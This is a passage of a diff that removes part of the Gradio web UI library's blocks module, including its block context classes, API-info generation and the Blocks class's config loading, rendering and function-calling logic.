-    @abstractmethod
-    def update(**kwargs) -> dict:
-        return {}
-
-    @classmethod
-    def get_specific_update(cls, generic_update: dict[str, Any]) -> dict:
-        generic_update = generic_update.copy()
-        del generic_update["__type__"]
-        specific_update = cls.update(**generic_update)
-        return specific_update
-
-
-class BlockContext(Block):
-    def __init__(
-        self,
-        visible: bool = True,
-        render: bool = True,
-        **kwargs,
-    ):
-        """
-        Parameters:
-            visible: If False, this will be hidden but included in the Blocks config file (its visibility can later be updated).
-            render: If False, this will not be included in the Blocks config file at all.
-        """
-        self.children: list[Block] = []
-        Block.__init__(self, visible=visible, render=render, **kwargs)
-
-    def add_child(self, child: Block):
-        self.children.append(child)
-
-    def __enter__(self):
-        self.parent = Context.block
-        Context.block = self
-        return self
-
-    def add(self, child: Block):
-        child.parent = self
-        self.children.append(child)
-
-    def fill_expected_parents(self):
-        children = []
-        pseudo_parent = None
-        for child in self.children:
-            expected_parent = child.get_expected_parent()
-            if not expected_parent or isinstance(self, expected_parent):
-                pseudo_parent = None
-                children.append(child)
-            else:
-                if pseudo_parent is not None and isinstance(
-                    pseudo_parent, expected_parent
-                ):
-                    pseudo_parent.add_child(child)
-                else:
-                    pseudo_parent = expected_parent(render=False)
-                    pseudo_parent.parent = self
-                    children.append(pseudo_parent)
-                    pseudo_parent.add_child(child)
-                    if Context.root_block:
-                        Context.root_block.blocks[pseudo_parent._id] = pseudo_parent
-                child.parent = pseudo_parent
-        self.children = children
-
-    def __exit__(self, *args):
-        if getattr(self, "allow_expected_parents", True):
-            self.fill_expected_parents()
-        Context.block = self.parent
-
-    def postprocess(self, y):
-        """
-        Any postprocessing needed to be performed on a block context.
-        """
-        return y
-
-
-class BlockFunction:
-    def __init__(
-        self,
-        fn: Callable | None,
-        inputs: list[Component],
-        outputs: list[Component],
-        preprocess: bool,
-        postprocess: bool,
-        inputs_as_dict: bool,
-        tracks_progress: bool = False,
-    ):
-        self.fn = fn
-        self.inputs = inputs
-        self.outputs = outputs
-        self.preprocess = preprocess
-        self.postprocess = postprocess
-        self.tracks_progress = tracks_progress
-        self.total_runtime = 0
-        self.total_runs = 0
-        self.inputs_as_dict = inputs_as_dict
-        self.name = getattr(fn, "__name__", "fn") if fn is not None else None
-        self.spaces_auto_wrap()
-
-    def spaces_auto_wrap(self):
-        if spaces is None:
-            return
-        if utils.get_space() is None:
-            return
-        self.fn = spaces.gradio_auto_wrap(self.fn)
-
-    def __str__(self):
-        return str(
-            {
-                "fn": self.name,
-                "preprocess": self.preprocess,
-                "postprocess": self.postprocess,
-            }
-        )
-
-    def __repr__(self):
-        return str(self)
-
-
-class class_or_instancemethod(classmethod):  # noqa: N801
-    def __get__(self, instance, type_):
-        descr_get = super().__get__ if instance is None else self.__func__.__get__
-        return descr_get(instance, type_)
-
-
-def postprocess_update_dict(block: Block, update_dict: dict, postprocess: bool = True):
-    """
-    Converts a dictionary of updates into a format that can be sent to the frontend.
-    E.g. {"__type__": "generic_update", "value": "2", "interactive": False}
-    Into -> {"__type__": "update", "value": 2.0, "mode": "static"}
-
-    Parameters:
-        block: The Block that is being updated with this update dictionary.
-        update_dict: The original update dictionary
-        postprocess: Whether to postprocess the "value" key of the update dictionary.
-    """
-    if update_dict.get("__type__", "") == "generic_update":
-        update_dict = block.get_specific_update(update_dict)
-    if update_dict.get("value") is components._Keywords.NO_VALUE:
-        update_dict.pop("value")
-    interactive = update_dict.pop("interactive", None)
-    if interactive is not None:
-        update_dict["mode"] = "dynamic" if interactive else "static"
-    prediction_value = delete_none(update_dict, skip_value=True)
-    if "value" in prediction_value and postprocess:
-        assert isinstance(
-            block, components.IOComponent
-        ), f"Component {block.__class__} does not support value"
-        prediction_value["value"] = block.postprocess(prediction_value["value"])
-    return prediction_value
-
-
-def convert_component_dict_to_list(
-    outputs_ids: list[int], predictions: dict
-) -> list | dict:
-    """
-    Converts a dictionary of component updates into a list of updates in the order of
-    the outputs_ids and including every output component. Leaves other types of dictionaries unchanged.
-    E.g. {"textbox": "hello", "number": {"__type__": "generic_update", "value": "2"}}
-    Into -> ["hello", {"__type__": "generic_update"}, {"__type__": "generic_update", "value": "2"}]
-    """
-    keys_are_blocks = [isinstance(key, Block) for key in predictions]
-    if all(keys_are_blocks):
-        reordered_predictions = [skip() for _ in outputs_ids]
-        for component, value in predictions.items():
-            if component._id not in outputs_ids:
-                raise ValueError(
-                    f"Returned component {component} not specified as output of function."
-                )
-            output_index = outputs_ids.index(component._id)
-            reordered_predictions[output_index] = value
-        predictions = utils.resolve_singleton(reordered_predictions)
-    elif any(keys_are_blocks):
-        raise ValueError(
-            "Returned dictionary included some keys as Components. Either all keys must be Components to assign Component values, or return a List of values to assign output values in order."
-        )
-    return predictions
-
-
-def get_api_info(config: dict, serialize: bool = True):
-    """
-    Gets the information needed to generate the API docs from a Blocks config.
-    Parameters:
-        config: a Blocks config dictionary
-        serialize: If True, returns the serialized version of the typed information. If False, returns the raw version.
-    """
-    api_info = {"named_endpoints": {}, "unnamed_endpoints": {}}
-    mode = config.get("mode", None)
-    after_new_format = version.parse(config.get("version", "2.0")) > version.Version(
-        "3.28.3"
-    )
-
-    for d, dependency in enumerate(config["dependencies"]):
-        dependency_info = {"parameters": [], "returns": []}
-        skip_endpoint = False
-
-        inputs = dependency["inputs"]
-        for i in inputs:
-            for component in config["components"]:
-                if component["id"] == i:
-                    break
-            else:
-                skip_endpoint = True  # if component not found, skip endpoint
-                break
-            type = component["type"]
-            if type in client_utils.SKIP_COMPONENTS:
-                continue
-            if (
-                not component.get("serializer")
-                and type not in serializing.COMPONENT_MAPPING
-            ):
-                skip_endpoint = True  # if component not serializable, skip endpoint
-                break
-            if type in client_utils.SKIP_COMPONENTS:
-                continue
-            label = component["props"].get("label", f"parameter_{i}")
-            # The config has the most specific API info (taking into account the parameters
-            # of the component), so we use that if it exists. Otherwise, we fallback to the
-            # Serializer's API info.
-            serializer = serializing.COMPONENT_MAPPING[type]()
-            if component.get("api_info") and after_new_format:
-                info = component["api_info"]
-                example = component["example_inputs"]["serialized"]
-            else:
-                assert isinstance(serializer, serializing.Serializable)
-                info = serializer.api_info()
-                example = serializer.example_inputs()["raw"]
-            python_info = info["info"]
-            if serialize and info["serialized_info"]:
-                python_info = serializer.serialized_info()
-                if (
-                    isinstance(serializer, serializing.FileSerializable)
-                    and component["props"].get("file_count", "single") != "single"
-                ):
-                    python_info = serializer._multiple_file_serialized_info()
-
-            python_type = client_utils.json_schema_to_python_type(python_info)
-            serializer_name = serializing.COMPONENT_MAPPING[type].__name__
-            dependency_info["parameters"].append(
-                {
-                    "label": label,
-                    "type": info["info"],
-                    "python_type": {
-                        "type": python_type,
-                        "description": python_info.get("description", ""),
-                    },
-                    "component": type.capitalize(),
-                    "example_input": example,
-                    "serializer": serializer_name,
-                }
-            )
-
-        outputs = dependency["outputs"]
-        for o in outputs:
-            for component in config["components"]:
-                if component["id"] == o:
-                    break
-            else:
-                skip_endpoint = True  # if component not found, skip endpoint
-                break
-            type = component["type"]
-            if type in client_utils.SKIP_COMPONENTS:
-                continue
-            if (
-                not component.get("serializer")
-                and type not in serializing.COMPONENT_MAPPING
-            ):
-                skip_endpoint = True  # if component not serializable, skip endpoint
-                break
-            label = component["props"].get("label", f"value_{o}")
-            serializer = serializing.COMPONENT_MAPPING[type]()
-            if component.get("api_info") and after_new_format:
-                info = component["api_info"]
-                example = component["example_inputs"]["serialized"]
-            else:
-                assert isinstance(serializer, serializing.Serializable)
-                info = serializer.api_info()
-                example = serializer.example_inputs()["raw"]
-            python_info = info["info"]
-            if serialize and info["serialized_info"]:
-                python_info = serializer.serialized_info()
-                if (
-                    isinstance(serializer, serializing.FileSerializable)
-                    and component["props"].get("file_count", "single") != "single"
-                ):
-                    python_info = serializer._multiple_file_serialized_info()
-            python_type = client_utils.json_schema_to_python_type(python_info)
-            serializer_name = serializing.COMPONENT_MAPPING[type].__name__
-            dependency_info["returns"].append(
-                {
-                    "label": label,
-                    "type": info["info"],
-                    "python_type": {
-                        "type": python_type,
-                        "description": python_info.get("description", ""),
-                    },
-                    "component": type.capitalize(),
-                    "serializer": serializer_name,
-                }
-            )
-
-        if not dependency["backend_fn"]:
-            skip_endpoint = True
-
-        if skip_endpoint:
-            continue
-        if dependency["api_name"] is not None and dependency["api_name"] is not False:
-            api_info["named_endpoints"][f"/{dependency['api_name']}"] = dependency_info
-        elif (
-            dependency["api_name"] is False
-            or mode == "interface"
-            or mode == "tabbed_interface"
-        ):
-            pass  # Skip unnamed endpoints in interface mode
-        else:
-            api_info["unnamed_endpoints"][str(d)] = dependency_info
-
-    return api_info
-
-
-@document("launch", "queue", "integrate", "load")
-class Blocks(BlockContext):
-    """
-    Blocks is Gradio's low-level API that allows you to create more custom web
-    applications and demos than Interfaces (yet still entirely in Python).
-
-
-    Compared to the Interface class, Blocks offers more flexibility and control over:
-    (1) the layout of components (2) the events that
-    trigger the execution of functions (3) data flows (e.g. inputs can trigger outputs,
-    which can trigger the next level of outputs). Blocks also offers ways to group
-    together related demos such as with tabs.
-
-
-    The basic usage of Blocks is as follows: create a Blocks object, then use it as a
-    context (with the "with" statement), and then define layouts, components, or events
-    within the Blocks context. Finally, call the launch() method to launch the demo.
-
-    Example:
-        import gradio as gr
-        def update(name):
-            return f"Welcome to Gradio, {name}!"
-
-        with gr.Blocks() as demo:
-            gr.Markdown("Start typing below and then click **Run** to see the output.")
-            with gr.Row():
-                inp = gr.Textbox(placeholder="What is your name?")
-                out = gr.Textbox()
-            btn = gr.Button("Run")
-            btn.click(fn=update, inputs=inp, outputs=out)
-
-        demo.launch()
-    Demos: blocks_hello, blocks_flipper, blocks_speech_text_sentiment, generate_english_german, sound_alert
-    Guides: blocks-and-event-listeners, controlling-layout, state-in-blocks, custom-CSS-and-JS, custom-interpretations-with-blocks, using-blocks-like-functions
-    """
-
-    def __init__(
-        self,
-        theme: Theme | str | None = None,
-        analytics_enabled: bool | None = None,
-        mode: str = "blocks",
-        title: str = "Gradio",
-        css: str | None = None,
-        **kwargs,
-    ):
-        """
-        Parameters:
-            theme: a Theme object or a string representing a theme. If a string, will look for a built-in theme with that name (e.g. "soft" or "default"), or will attempt to load a theme from the HF Hub (e.g. "gradio/monochrome"). If None, will use the Default theme.
-            analytics_enabled: whether to allow basic telemetry. If None, will use GRADIO_ANALYTICS_ENABLED environment variable or default to True.
-            mode: a human-friendly name for the kind of Blocks or Interface being created.
-            title: The tab title to display when this is opened in a browser window.
-            css: custom css or path to custom css file to apply to entire Blocks
-        """
-        self.limiter = None
-        if theme is None:
-            theme = DefaultTheme()
-        elif isinstance(theme, str):
-            if theme.lower() in BUILT_IN_THEMES:
-                theme = BUILT_IN_THEMES[theme.lower()]
-            else:
-                try:
-                    theme = Theme.from_hub(theme)
-                except Exception as e:
-                    warnings.warn(f"Cannot load {theme}. Caught Exception: {str(e)}")
-                    theme = DefaultTheme()
-        if not isinstance(theme, Theme):
-            warnings.warn("Theme should be a class loaded from gradio.themes")
-            theme = DefaultTheme()
-        self.theme: Theme = theme
-        self.theme_css = theme._get_theme_css()
-        self.stylesheets = theme._stylesheets
-        self.encrypt = False
-        self.share = False
-        self.enable_queue = None
-        self.max_threads = 40
-        self.show_error = True
-        if css is not None and os.path.exists(css):
-            with open(css) as css_file:
-                self.css = css_file.read()
-        else:
-            self.css = css
-
-        # For analytics_enabled and allow_flagging: (1) first check for
-        # parameter, (2) check for env variable, (3) default to True/"manual"
-        self.analytics_enabled = (
-            analytics_enabled
-            if analytics_enabled is not None
-            else analytics.analytics_enabled()
-        )
-        if self.analytics_enabled:
-            t = threading.Thread(target=analytics.version_check)
-            t.start()
-        else:
-            os.environ["HF_HUB_DISABLE_TELEMETRY"] = "True"
-        super().__init__(render=False, **kwargs)
-        self.blocks: dict[int, Block] = {}
-        self.fns: list[BlockFunction] = []
-        self.dependencies = []
-        self.mode = mode
-
-        self.is_running = False
-        self.local_url = None
-        self.share_url = None
-        self.width = None
-        self.height = None
-        self.api_open = True
-
-        self.space_id = utils.get_space()
-        self.favicon_path = None
-        self.auth = None
-        self.dev_mode = True
-        self.app_id = random.getrandbits(64)
-        self.temp_file_sets = []
-        self.title = title
-        self.show_api = True
-
-        # Only used when an Interface is loaded from a config
-        self.predict = None
-        self.input_components = None
-        self.output_components = None
-        self.__name__ = None
-        self.api_mode = None
-        self.progress_tracking = None
-        self.ssl_verify = True
-
-        self.allowed_paths = []
-        self.blocked_paths = []
-        self.root_path = ""
-        self.root_urls = set()
-
-        if not wasm_utils.IS_WASM and self.analytics_enabled:
-            is_custom_theme = not any(
-                self.theme.to_dict() == built_in_theme.to_dict()
-                for built_in_theme in BUILT_IN_THEMES.values()
-            )
-            data = {
-                "mode": self.mode,
-                "custom_css": self.css is not None,
-                "theme": self.theme.name,
-                "is_custom_theme": is_custom_theme,
-                "version": GRADIO_VERSION,
-            }
-            analytics.initiated_analytics(data)
-
-    @classmethod
-    def from_config(
-        cls,
-        config: dict,
-        fns: list[Callable],
-        root_url: str,
-    ) -> Blocks:
-        """
-        Factory method that creates a Blocks from a config and list of functions. Used
-        internally by the gradio.external.load() method.
-
-        Parameters:
-        config: a dictionary containing the configuration of the Blocks.
-        fns: a list of functions that are used in the Blocks. Must be in the same order as the dependencies in the config.
-        root_url: an external url to use as a root URL when serving files for components in the Blocks.
-        """
-        config = copy.deepcopy(config)
-        components_config = config["components"]
-        for component_config in components_config:
-            # for backwards compatibility, extract style into props
-            if "style" in component_config["props"]:
-                component_config["props"].update(component_config["props"]["style"])
-                del component_config["props"]["style"]
-        theme = config.get("theme", "default")
-        original_mapping: dict[int, Block] = {}
-        root_urls = {root_url}
-
-        def get_block_instance(id: int) -> Block:
-            for block_config in components_config:
-                if block_config["id"] == id:
-                    break
-            else:
-                raise ValueError(f"Cannot find block with id {id}")
-            cls = component_or_layout_class(block_config["type"])
-            block_config["props"].pop("type", None)
-            block_config["props"].pop("name", None)
-            # If a Gradio app B is loaded into a Gradio app A, and B itself loads a
-            # Gradio app C, then the root_urls of the components in A need to be the
-            # URL of C, not B. The else clause below handles this case.
-            if block_config["props"].get("root_url") is None:
-                block_config["props"]["root_url"] = f"{root_url}/"
-            else:
-                root_urls.add(block_config["props"]["root_url"])
-            # Any component has already processed its initial value, so we skip that step here
-            block = cls(**block_config["props"], _skip_init_processing=True)
-            return block
-
-        def iterate_over_children(children_list):
-            for child_config in children_list:
-                id = child_config["id"]
-                block = get_block_instance(id)
-
-                original_mapping[id] = block
-
-                children = child_config.get("children")
-                if children is not None:
-                    assert isinstance(
-                        block, BlockContext
-                    ), f"Invalid config, Block with id {id} has children but is not a BlockContext."
-                    with block:
-                        iterate_over_children(children)
-
-        derived_fields = ["types"]
-
-        with Blocks(theme=theme) as blocks:
-            # ID 0 should be the root Blocks component
-            original_mapping[0] = Context.root_block or blocks
-
-            iterate_over_children(config["layout"]["children"])
-
-            first_dependency = None
-
-            # add the event triggers
-            for dependency, fn in zip(config["dependencies"], fns):
-                # We used to add a "fake_event" to the config to cache examples
-                # without removing it. This was causing bugs in calling gr.load
-                # We fixed the issue by removing "fake_event" from the config in examples.py
-                # but we still need to skip these events when loading the config to support
-                # older demos
-                if dependency["trigger"] == "fake_event":
-                    continue
-                for field in derived_fields:
-                    dependency.pop(field, None)
-                targets = dependency.pop("targets")
-                trigger = dependency.pop("trigger")
-                dependency.pop("backend_fn")
-                dependency.pop("documentation", None)
-                dependency["inputs"] = [
-                    original_mapping[i] for i in dependency["inputs"]
-                ]
-                dependency["outputs"] = [
-                    original_mapping[o] for o in dependency["outputs"]
-                ]
-                dependency.pop("status_tracker", None)
-                dependency["preprocess"] = False
-                dependency["postprocess"] = False
-
-                for target in targets:
-                    dependency = original_mapping[target].set_event_trigger(
-                        event_name=trigger, fn=fn, **dependency
-                    )[0]
-                    if first_dependency is None:
-                        first_dependency = dependency
-
-            # Allows some use of Interface-specific methods with loaded Spaces
-            if first_dependency and Context.root_block:
-                blocks.predict = [fns[0]]
-                blocks.input_components = [
-                    Context.root_block.blocks[i] for i in first_dependency["inputs"]
-                ]
-                blocks.output_components = [
-                    Context.root_block.blocks[o] for o in first_dependency["outputs"]
-                ]
-                blocks.__name__ = "Interface"
-                blocks.api_mode = True
-
-        blocks.root_urls = root_urls
-        return blocks
-
-    def __str__(self):
-        return self.__repr__()
-
-    def __repr__(self):
-        num_backend_fns = len([d for d in self.dependencies if d["backend_fn"]])
-        repr = f"Gradio Blocks instance: {num_backend_fns} backend functions"
-        repr += f"\n{'-' * len(repr)}"
-        for d, dependency in enumerate(self.dependencies):
-            if dependency["backend_fn"]:
-                repr += f"\nfn_index={d}"
-                repr += "\n inputs:"
-                for input_id in dependency["inputs"]:
-                    block = self.blocks[input_id]
-                    repr += f"\n |-{block}"
-                repr += "\n outputs:"
-                for output_id in dependency["outputs"]:
-                    block = self.blocks[output_id]
-                    repr += f"\n |-{block}"
-        return repr
-
-    def render(self):
-        if Context.root_block is not None:
-            if self._id in Context.root_block.blocks:
-                raise DuplicateBlockError(
-                    f"A block with id: {self._id} has already been rendered in the current Blocks."
-                )
-            overlapping_ids = set(Context.root_block.blocks).intersection(self.blocks)
-            for id in overlapping_ids:
-                # State components are allowed to be reused between Blocks
-                if not isinstance(self.blocks[id], components.State):
-                    raise DuplicateBlockError(
-                        "At least one block in this Blocks has already been rendered."
-                    )
-
-            Context.root_block.blocks.update(self.blocks)
-            Context.root_block.fns.extend(self.fns)
-            dependency_offset = len(Context.root_block.dependencies)
-            for i, dependency in enumerate(self.dependencies):
-                api_name = dependency["api_name"]
-                if api_name is not None and api_name is not False:
-                    api_name_ = utils.append_unique_suffix(
-                        api_name,
-                        [dep["api_name"] for dep in Context.root_block.dependencies],
-                    )
-                    if api_name != api_name_:
-                        warnings.warn(
-                            f"api_name {api_name} already exists, using {api_name_}"
-                        )
-                        dependency["api_name"] = api_name_
-                dependency["cancels"] = [
-                    c + dependency_offset for c in dependency["cancels"]
-                ]
-                if dependency.get("trigger_after") is not None:
-                    dependency["trigger_after"] += dependency_offset
-                # Recreate the cancel function so that it has the latest
-                # dependency fn indices. This is necessary to properly cancel
-                # events in the backend
-                if dependency["cancels"]:
-                    updated_cancels = [
-                        Context.root_block.dependencies[i]
-                        for i in dependency["cancels"]
-                    ]
-                    new_fn = BlockFunction(
-                        get_cancel_function(updated_cancels)[0],
-                        [],
-                        [],
-                        False,
-                        True,
-                        False,
-                    )
-                    Context.root_block.fns[dependency_offset + i] = new_fn
-                Context.root_block.dependencies.append(dependency)
-            Context.root_block.temp_file_sets.extend(self.temp_file_sets)
-            Context.root_block.root_urls.update(self.root_urls)
-
-        if Context.block is not None:
-            Context.block.children.extend(self.children)
-        return self
-
-    def is_callable(self, fn_index: int = 0) -> bool:
-        """Checks if a particular Blocks function is callable (i.e. not stateful or a generator)."""
-        block_fn = self.fns[fn_index]
-        dependency = self.dependencies[fn_index]
-
-        if inspect.isasyncgenfunction(block_fn.fn):
-            return False
-        if inspect.isgeneratorfunction(block_fn.fn):
-            return False
-        for input_id in dependency["inputs"]:
-            block = self.blocks[input_id]
-            if getattr(block, "stateful", False):
-                return False
-        for output_id in dependency["outputs"]:
-            block = self.blocks[output_id]
-            if getattr(block, "stateful", False):
-                return False
-
-        return True
-
-    def __call__(self, *inputs, fn_index: int = 0, api_name: str | None = None):
-        """
-        Allows Blocks objects to be called as functions. Supply the parameters to the
-        function as positional arguments. To choose which function to call, use the
-        fn_index parameter, which must be a keyword argument.
-
-        Parameters:
-        *inputs: the parameters to pass to the function
-        fn_index: the index of the function to call (defaults to 0, which for Interfaces, is the default prediction function)
-        api_name: The api_name of the dependency to call. Will take precedence over fn_index.
-        """
-        if api_name is not None:
-            inferred_fn_index = next(
-                (
-                    i
-                    for i, d in enumerate(self.dependencies)
-                    if d.get("api_name") == api_name
-                ),
-                None,
-            )
-            if inferred_fn_index is None:
-                raise InvalidApiNameError(
-                    f"Cannot find a function with api_name {api_name}"
-                )
-            fn_index = inferred_fn_index
-        if not (self.is_callable(fn_index)):
-            raise ValueError(
-                "This function is not callable because it is either stateful or is a generator. Please use the .launch() method instead to create an interactive user interface."
-            )
-
-        inputs = list(inputs)
-        processed_inputs = self.serialize_data(fn_index, inputs)
-        batch = self.dependencies[fn_index]["batch"]
-        if batch:
-            processed_inputs = [[inp] for inp in processed_inputs]
-
-        outputs = client_utils.synchronize_async(
-            self.process_api,
-            fn_index=fn_index,
-            inputs=processed_inputs,
-            request=None,
-            state={},
-        )
-        outputs = outputs["data"]
-
-        if batch:
-            outputs = [out[0] for out in outputs]
-
-        processed_outputs = self.deserialize_data(fn_index, outputs)
-        processed_outputs = utils.resolve_singleton(processed_outputs)
-
-        return processed_outputs
-
-    async def call_function(
-        self,
-        fn_index: int,
-        processed_input: list[Any],
-        iterator: AsyncIterator[Any] | None = None,
-        requests: routes.Request | list[routes.Request] | None = None,
-        event_id: str | None = None,
-        event_data: EventData | None = None,
-    ):
-        """
-        Calls function with given index and preprocessed input, and measures process time.
-        Parameters:
-            fn_index: index of function to call
-            processed_input: preprocessed input to pass to function
-            iterator: iterator to use if function is a generator
-            requests: requests to pass to function
-            event_id: id of event in queue
-            event_data: data associated with event trigger
-        """
-        block_fn = self.fns[fn_index]
-        assert block_fn.fn, f"function with index {fn_index} not defined."
-        is_generating = False
-
-        if block_fn.inputs_as_dict:
-            processed_input = [dict(zip(block_fn.inputs, processed_input))]
-
-        request = requests[0] if isinstance(requests, list) else requests
-        processed_input, progress_index, _ = special_args(
-            block_fn.fn, processed_input, request, event_data
-        )
-        progress_tracker = (
-            processed_input[progress_index] if progress_index is not None else None
-        )
-
-        start = time.time()
-
-        fn = utils.get_function_with_locals(block_fn.fn, self, event_id)
-
-        if iterator is None:  # If not a generator function that has already run
-            if progress_tracker is not None and progress_index is not None:
-                progress_tracker, fn = create_tracker(
-                    self, event_id, fn, progress_tracker.track_tqdm
-                )
-                processed_input[progress_index] = progress_tracker
-
-            if inspect.iscoroutinefunction(fn):
-                prediction = await fn(*processed_input)
-            else:
-                prediction = await anyio.to_thread.run_sync(
-                    fn, *processed_input, limiter=self.limiter
-                )
-        else:
-            prediction = None
-
-        if inspect.isgeneratorfunction(fn) or inspect.isasyncgenfunction(fn):
-            if not self.enable_queue:
-                raise ValueError("Need to enable queue to use generators.")
-            try:
-                if iterator is None:
-                    iterator = cast(AsyncIterator[Any], prediction)
-                if inspect.isgenerator(iterator):
-                    iterator = utils.SyncToAsyncIterator(iterator, self.limiter)
-                prediction = await utils.async_iteration(iterator)
-                is_generating = True
-            except StopAsyncIteration:
-                n_outputs = len(self.dependencies[fn_index].get("outputs"))
-                prediction = (
-                    components._Keywords.FINISHED_ITERATING
-                    if n_outputs == 1
-                    else (components._Keywords.FINISHED_ITERATING,) * n_outputs
-                )
-                iterator = None
-
-        duration = time.time() - start
-
-        return {
-            "prediction": prediction,
-            "duration": duration,
-            "is_generating": is_generating,
-            "iterator": iterator,
-        }
-
-    def serialize_data(self, fn_index: int, inputs: list[Any]) -> list[Any]:
-        dependency = self.dependencies[fn_index]
-        processed_input = []
-
-        for i, input_id in enumerate(dependency["inputs"]):
-            try:
-                block = self.blocks[input_id]
-            except KeyError as e:
-                raise InvalidBlockError(
-                    f"Input component with id {input_id} used in {dependency['trigger']}() event is not defined in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
-                ) from e
-            assert isinstance(
-                block, components.IOComponent
-            ), f"{block.__class__} Component with id {input_id} not a valid input component."
-            serialized_input = block.serialize(inputs[i])
-            processed_input.append(serialized_input)
-
-        return processed_input
-
-    def deserialize_data(self, fn_index: int, outputs: list[Any]) -> list[Any]:
-        dependency = self.dependencies[fn_index]
-        predictions = []
-
-        for o, output_id in enumerate(dependency["outputs"]):
-            try:
-                block = self.blocks[output_id]
-            except KeyError as e:
-                raise InvalidBlockError(
-                    f"Output component with id {output_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
-                ) from e
-            assert isinstance(
-                block, components.IOComponent
-            ), f"{block.__class__} Component with id {output_id} not a valid output component."
-            deserialized = block.deserialize(
-                outputs[o],
-                save_dir=block.DEFAULT_TEMP_DIR,
-                root_url=block.root_url,
-                hf_token=Context.hf_token,
-            )
-            predictions.append(deserialized)
-
-        return predictions
-
-    def validate_inputs(self, fn_index: int, inputs: list[Any]):
-        block_fn = self.fns[fn_index]
-        dependency = self.dependencies[fn_index]
-
-        dep_inputs = dependency["inputs"]
-
-        # This handles incorrect inputs when args are changed by a JS function
-        # Only check not enough args case, ignore extra arguments (for now)
-        # TODO: make this stricter?
-        if len(inputs) < len(dep_inputs):
-            name = (
-                f" ({block_fn.name})"
-                if block_fn.name and block_fn.name != "<lambda>"
-                else ""
-            )
-
-            wanted_args = []
-            received_args = []
-            for input_id in dep_inputs:
-                block = self.blocks[input_id]
-                wanted_args.append(str(block))
-            for inp in inputs:
-                v = f'"{inp}"' if isinstance(inp, str) else str(inp)
-                received_args.append(v)
-
-            wanted = ", ".join(wanted_args)
-            received = ", ".join(received_args)
-
-            # JS func didn't pass enough arguments
-            raise ValueError(
-                f"""An event handler{name} didn't receive enough input values (needed: {len(dep_inputs)}, got: {len(inputs)}).
-Check if the event handler calls a Javascript function, and make sure its return value is correct.
-Wanted inputs:
-    [{wanted}]
-Received inputs:
-    [{received}]"""
-            )
-
-    def preprocess_data(self, fn_index: int, inputs: list[Any], state: dict[int, Any]):
-        block_fn = self.fns[fn_index]
-        dependency = self.dependencies[fn_index]
-
-        self.validate_inputs(fn_index, inputs)
-
-        if block_fn.preprocess:
-            processed_input = []
-            for i, input_id in enumerate(dependency["inputs"]):
-                try:
-                    block = self.blocks[input_id]
-                except KeyError as e:
-                    raise InvalidBlockError(
-                        f"Input component with id {input_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
-                    ) from e
-                assert isinstance(
-                    block, components.Component
-                ), f"{block.__class__} Component with id {input_id} not a valid input component."
-                if getattr(block, "stateful", False):
-                    processed_input.append(state.get(input_id))
-                else:
-                    processed_input.append(block.preprocess(inputs[i]))
-        else:
-            processed_input = inputs
-        return processed_input
-
-    def validate_outputs(self, fn_index: int, predictions: Any | list[Any]):
-        block_fn = self.fns[fn_index]
-        dependency = self.dependencies[fn_index]
-
-        dep_outputs = dependency["outputs"]
-
-        if type(predictions) is not list and type(predictions) is not tuple:
-            predictions = [predictions]
-
-        if len(predictions) < len(dep_outputs):
-            name = (
-                f" ({block_fn.name})"
-                if block_fn.name and block_fn.name != "<lambda>"
-                else ""
-            )
-
-            wanted_args = []
-            received_args = []
-            for output_id in dep_outputs:
-                block = self.blocks[output_id]
-                wanted_args.append(str(block))
-            for pred in predictions:
-                v = f'"{pred}"' if isinstance(pred, str) else str(pred)
-                received_args.append(v)
-
-            wanted = ", ".join(wanted_args)
-            received = ", ".join(received_args)
-
-            raise ValueError(
-                f"""An event handler{name} didn't receive enough output values (needed: {len(dep_outputs)}, received: {len(predictions)}).
-Wanted outputs:
-    [{wanted}]
-Received outputs:
-    [{received}]"""
-            )
-
-    def postprocess_data(
-        self, fn_index: int, predictions: list | dict, state: dict[int, Any]
-    ):
-        block_fn = self.fns[fn_index]
-        dependency = self.dependencies[fn_index]
-        batch = dependency["batch"]
-
-        if type(predictions) is dict and len(predictions) > 0:
-            predictions = convert_component_dict_to_list(
-                dependency["outputs"], predictions
-            )
-
-        if len(dependency["outputs"]) == 1 and not (batch):
-            predictions = [
-                predictions,
-            ]
-
-        self.validate_outputs(fn_index, predictions)  # type: ignore
-
-        output = []
-        for i, output_id in enumerate(dependency["outputs"]):
-            try:
-                if predictions[i] is components._Keywords.FINISHED_ITERATING:
-                    output.append(None)
-                    continue
-            except (IndexError, KeyError) as err:
-                raise ValueError(
-                    "Number of output components does not match number "
-                    f"of values returned from from function {block_fn.name}"
-                ) from err
-
-            try:
-                block = self.blocks[output_id]
-            except KeyError as e:
-                raise InvalidBlockError(
-                    f"Output component with id {output_id} used in {dependency['trigger']}() event not found in this gr.Blocks context. You are allowed to nest gr.Blocks contexts, but there must be a gr.Blocks context that contains all components and events."
-                ) from e
-
-            if getattr(block, "stateful", False):
-                if not utils.is_update(predictions[i]):
-                    state[output_id] = predictions[i]
-                output.append(None)
-            else:
-                prediction_value = predictions[i]
-                if utils.is_update(prediction_value):
-                    assert isinstance(prediction_value, dict)
-                    prediction_value = postprocess_update_dict(
-                        block=block,
-                        update_dict=prediction_value,
-                        postprocess=block_fn.postprocess,
-                    )
-                elif block_fn.postprocess:
-                    assert isinstance(
-                        block, components.Component
-                    ), f"{block.__class__} Component with id {output_id} not a valid output component."
-                    prediction_value = block.postprocess(prediction_value)
-                output.append(prediction_value)
-
-        return output
-
-    async def process_api(
-        self,
-        fn_index: int,
-        inputs: list[Any],
-        state: dict[int, Any],
-        request: routes.Request | list[routes.Request] | None = None,
-        iterators: dict[int, Any] | None = None,
-        event_id: str | None = None,
-        event_data: EventData | None = None,
-    ) -> dict[str, Any]:
-        """
-        Processes API calls from the frontend. First preprocesses the data,
-        then runs the relevant function, then postprocesses the output.
-        Parameters:
-            fn_index: Index of function to run.
-            inputs: input data received from the frontend
-            state: data stored from stateful components for session (key is input block id)
-            request: the gr.Request object containing information about the network request (e.g. IP address, headers, query parameters, username)
-            iterators: the in-progress iterators for each generator function (key is function index)
-            event_id: id of event that triggered this API call
-            event_data: data associated with the event trigger itself
-        Returns: None
-        """
-        block_fn = self.fns[fn_index]
-        batch = self.dependencies[fn_index]["batch"]
-
-        if batch:
